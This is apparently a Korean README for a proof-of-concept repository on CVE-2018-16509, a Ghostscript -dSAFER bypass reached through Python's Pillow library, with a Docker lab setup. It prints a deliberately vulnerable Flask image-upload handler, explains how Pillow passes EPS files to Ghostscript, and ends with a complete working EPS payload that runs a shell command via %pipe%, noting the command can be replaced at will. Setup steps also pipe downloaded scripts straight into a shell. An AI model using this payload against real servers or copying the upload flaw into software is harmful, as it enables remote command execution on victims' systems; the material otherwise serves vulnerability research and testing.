
Python PIL/Pillow 원격 셸 명령 실행 취약점(CVE-2018-16509, Ghostscript 경유)을 위한 PoC + Docker 환경
다음에서 영감을 얻었습니다: https://github.com/ysrc/PIL-RCE-By-GhostButt (CVE-2017-8291을 통한 PIL/Pillow RCE). 이 도커 환경 버전은 최신 버전의 Ghostscript(v9.23)와 최신 익스플로잇(CVE-2018-16509)을 사용합니다.
Ghostscript는 Adobe Systems PostScript 및 PDF(휴대용 문서 형식) 페이지 설명 언어를 위한 해석기를 기반으로 한 소프트웨어 제품군입니다. 어쩌다 보니, 프로덕션 서버(예: /usr/local/bin/gs)에 Ghostscript가 존재하는 경우가 많습니다. 어떤 애플리케이션도 직접 사용하지 않더라도, Ghostscript가 다른 소프트웨어(예: ImageMagick)의 종속성으로 설치되기 때문입니다. Ghostscript에서 여러 취약점이 발견되었으며, 그중 하나가 CVE-2018-16509입니다(Google Project Zero의 Tavis Ormandy 발견). 이 취약점은 v9.24 이전 Ghostscript에서 -dSAFER 우회를 악용하여, 실패한 복원(grestore)을 PostScript에서 처리할 때 LockSafetyParams를 비활성화하고 invalidaccess를 회피함으로써 임의 명령을 실행할 수 있게 합니다. 이 취약점은 ImageMagick이나 Ghostscript 래퍼가 있는 프로그래밍 언어의 이미지 라이브러리(PIL/Pillow, 이 예제)를 통해 접근 가능합니다.
테스트 및 개념 증명을 위해 도커 환경에서 익스플로잇을 시도할 수 있습니다.
Ubuntu에 docker/docker-compose 설치:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
다른 운영 체제에서의 docker 및 docker-compose 설치 단계는 약간 다를 수 있습니다. 자세한 내용은 docker 문서를 참조하세요.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
취약한 Flask 앱은 http://127.0.0.1:8000에서 접근할 수 있습니다. 테스트 후 환경을 중지할 수 있습니다.
docker-compose down -v
서버에서 touch /tmp/got_rce를 실행하려면 rce.jpg (특수 제작된 EPS 이미지, 실제 JPG가 아님)를 업로드할 수 있습니다. 증명을 위해 docker exec [CONTAINER_ID] ls -alt /tmp를 실행할 수 있습니다. CONTAINER_ID를 얻으려면 docker container ls로 확인하세요. 셸 실행 명령을 다른 명령으로 변경하려면 rce.jpg 내에서 직접 touch /tmp/got_rce를 변경할 수 있습니다.
Tavis Ormandy의 취약점 설명은 oss-security에서 참조할 수 있습니다.
PIL/Pillow의 Ghostscript 래퍼 소스 코드는 EPSImagePlugin.py에서 확인할 수 있습니다.
다음은 app.py의 취약한 코드입니다:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
업로드된 파일의 내용은 img = Image.open(img_path)에 의해 로드됩니다. PIL은 자동으로 이미지가 EPS 이미지인지 감지하고(예: 파일 시작 부분에 %!PS-Adobe-3.0 EPSF-3.0 추가) EPSImagePlugin.py의 EpsImageFile 클래스에서 _open()을 호출합니다. raise IOError("cannot determine EPS bounding box")를 방지하려면 파일에 바운딩 박스를 추가해야 합니다(예: %%BoundingBox: -0 -0 100 100).
EPS 이미지의 본문은 EPSImagePlugin.py의 Ghostscript 함수에서 볼 수 있듯이 subprocess를 통해 Ghostscript 바이너리에 의해 처리됩니다.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
위 코드는 Image.py에서 load가 호출될 때 실행되므로 이미지를 여는 것만으로는 취약점이 트리거되지 않습니다. resize, crop, rotate, save와 같은 함수는 load를 호출하여 취약점을 트리거합니다.
Tavis Ormandy의 POC와 결합하여 원격 셸 명령 실행을 위한 rce.jpg를 제작할 수 있습니다.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops